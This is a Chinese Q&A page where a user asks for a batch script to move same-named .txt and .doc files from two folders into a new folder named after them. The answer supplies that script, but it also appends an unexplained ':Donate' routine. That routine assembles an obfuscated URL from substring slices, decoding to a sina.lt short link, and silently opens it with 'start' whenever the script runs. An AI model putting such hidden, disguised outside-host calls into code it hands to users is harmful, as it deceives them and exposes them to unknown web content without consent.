您好,关于批处理的问题
您好,请问有空吗,首先谢谢您提供的程序@echoofffor/f"delims="%%ain('dir/a-d/s/b"B目录路径\*.lrc"')do(ifexist"...
您好,请问有空吗,首先谢谢您提供的程序
@echo off
for /f "delims=" %%a in ('dir /a-d/s/b "B目录路径\*.lrc"') do (
if exist "A目录路径\%%~na.*" echo n|copy "%%~a" "A目录路径\"
)
pause
帮助了我,麻烦您能再帮一下我吗
我现在是可以从A和B文件夹取相同名字不同后缀的文件复制到A底下,现在是想从从A和B文件夹取相同名字不同后缀的文件后以他们相同的名称创一个文件夹放在创建的文件夹底下。请问可以实现吗。
例如A文件夹下A.TXT B文件夹底下A.doc 自动在上一级目录创建A文件夹并把A.TXT和A.doc放进去。
谢谢 非常感谢 展开
@echo off
for /f "delims=" %%a in ('dir /a-d/s/b "B目录路径\*.lrc"') do (
if exist "A目录路径\%%~na.*" echo n|copy "%%~a" "A目录路径\"
)
pause
帮助了我,麻烦您能再帮一下我吗
我现在是可以从A和B文件夹取相同名字不同后缀的文件复制到A底下,现在是想从从A和B文件夹取相同名字不同后缀的文件后以他们相同的名称创一个文件夹放在创建的文件夹底下。请问可以实现吗。
例如A文件夹下A.TXT B文件夹底下A.doc 自动在上一级目录创建A文件夹并把A.TXT和A.doc放进去。
谢谢 非常感谢 展开
1个回答
展开全部
@echo off & title 批量把同名文件放到同名目录中 By 依梦琴瑶
for /f "delims=" %%a in ('dir /a-d/s/b "A\*.txt"') do (
if exist "B\%%~na.doc" (
xcopy "B\%%~na.doc" "..\%%~na\"
xcopy "%%~a" "..\%%~na\"
)
)
pause
call :Donate
exit
:Donate
set S0=fGRH
set S1=.:ailnhpst/
set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
若有问题,请追问。
来自:求助得到的回答
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询